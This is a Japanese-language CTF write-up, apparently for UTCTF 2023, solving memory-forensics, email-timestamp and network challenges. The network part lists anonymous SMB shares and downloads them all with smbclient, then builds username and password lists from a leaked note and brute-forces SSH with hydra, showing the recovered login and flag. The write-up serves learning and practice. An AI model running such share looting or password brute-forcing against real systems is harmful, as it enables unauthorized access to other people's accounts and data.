- [Forensics] "Easy" Volatility
- [Forensics] What Time is It?
- [Network] A Network Problem - Part 1
- [Network] A Network Problem - Part 2
- [Network] A Network Problem - Part 3
[Forensics] "Easy" Volatility
ありがたいことに、シンボルファイルが与えられているので
cp debian11_5.10.0-21.json ~/.opt/volatility3/volatility3/symbols/
のように配置して、volatility3を回していく。
This challenge's flag looks like a UUID.
ということで各種解析の結果を見ていくと、linux.bashでの出力が気になる。
PID Process CommandTime Command 467 bash 2023-03-05 18:21:23.000000 # 08ffea76-b232-4768-a815-3cc1c467e813
コメントで実行されていて怪しく、このUUIDを提出すると正答。
[Forensics] What Time is It?
Date: Thu, 2 Mar 2023 03:12:42 +0000
とあるので、受信時間ではあるのだが、念のためこれを送ってみるが、不正解。
それはそうか。
他に時間に直結しそうなものはなく、他のヘッダー情報を色々探ってみる。
色々検索して探してみると以下ページが見つかる。
Dates in Hiding Part 2 — Gmail MIME Boundary Timestamps - Metaspike
これは使えそう。
Content-Type: multipart/alternative; boundary="00000000000093882205f60cdcdb"
これを使って言われた通りに変換する。
000000000000 938822 05f60cdc db
のように分割して、3番目+2番目で05f60cdc938822
hex表現なのでdecimalに変換する。
$ python3 -c 'print(0x05f60cdc938822)' 1677909984249890
先頭の13文字がUnixtimeになっているので、時刻に変換する。
ミリ秒になっているので下3桁をさらに削って変換すると2023-03-04 06:06:24
。
後はこれを要求に合わせてフラグに変換すると正答。
[Network] A Network Problem - Part 1
nc betta.utctf.live 8080
のようにnetcatでつなげるとフラグが得られた。
[Network] A Network Problem - Part 2
smbが用意されているらしいので、とりあえずsmbclientしてみる。
smbclient -N -L //betta.utctf.live
$ smbclient -N -L //betta.utctf.live --port=8445 Sharename Type Comment --------- ---- ------- WorkShares Disk Sharing of work files BackUps Disk File Backups. IPC$ IPC IPC Service (Samba Server)
とあり、WorkSharesがアクセス可能だったので抜き出してみる。
$ smbclient -N //betta.utctf.live/WorkShares --port=8445 Try "help" to get a list of possible commands. smb: \> prompt off smb: \> recurse on smb: \> mget * getting file \shares\Advertising\Advertising Plan of size 33 as shares/Advertising/Advertising Plan (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec) getting file \shares\Advertising\Logos\JACT.png of size 8923 as shares/Advertising/Logos/JACT.png (11.3 KiloBytes/sec) (average 6.1 KiloBytes/sec) getting file \shares\OfficeFun\JaysCats\Meowfoy.jpg of size 215821 as shares/OfficeFun/JaysCats/Meowfoy.jpg (171.6 KiloBytes/sec) (average 82.1 KiloBytes/sec) getting file \shares\IT\Itstuff\notetoIT of size 380 as shares/IT/Itstuff/notetoIT (0.6 KiloBytes/sec) (average 65.9 KiloBytes/sec)
\shares\IT\Itstuff\notetoIT
にフラグが書いてあった。
[Network] A Network Problem - Part 3
sshが開いていて、ブルートフォースが許可されているのでパスワードブルートフォースしてほしいのだろう。
(個人的に注意していることだが、どこからどういちゃもんつけられるか分からないのでブルートフォース系をCTFで解く際はVPNつないでおくといい。)
ユーザー名とパスワードに対してある程度あたりをつけたいが、We've gathered a lot of information at this point, let get access through ssh.
とある。
情報を整理して、ユーザー名とパスワードの候補を収集しよう。
特に気になるものとして、前問のフラグが書いてあったnotetoITがある。
I don't understand the fasination with the magic phrase "abracadabra", but too many people are using them as passwords. Crystal Ball, Wade Coldwater, Jay Walker, and Holly Wood all basically have the same password. Can you please reach out to them and get them to change thier passwords or at least get them append a special character?
参考にして、ユーザー名とパスワードの辞書を作成して総当たりするとヒットしてsshで接続するとフラグがもらえる。
$ cat user.txt crystal ball wade coldwater jay walker holly wood cball wcoldwater jwalker hwood $ cat pass.txt abracadabra abracadabra! abracadabra" abracadabra# abracadabra$ abracadabra% abracadabra& abracadabra' abracadabra( abracadabra) abracadabra* abracadabra+ abracadabra, abracadabra- abracadabra. abracadabra/ abracadabra0 abracadabra1 abracadabra2 abracadabra3 abracadabra4 abracadabra5 abracadabra6 abracadabra7 abracadabra8 abracadabra9 abracadabra: abracadabra; abracadabra< abracadabra= abracadabra> abracadabra? $ hydra -L user.txt -P pass.txt ssh://betta.utctf.live:8822 -c 1 -t 1 [8822][ssh] host: betta.utctf.live login: wcoldwater password: abracadabra$ $ ssh -p 8822 wcoldwater@betta.utctf.live wcoldwater@betta.utctf.live's password: utctf{cust0m3d-lsts-rule!} well done!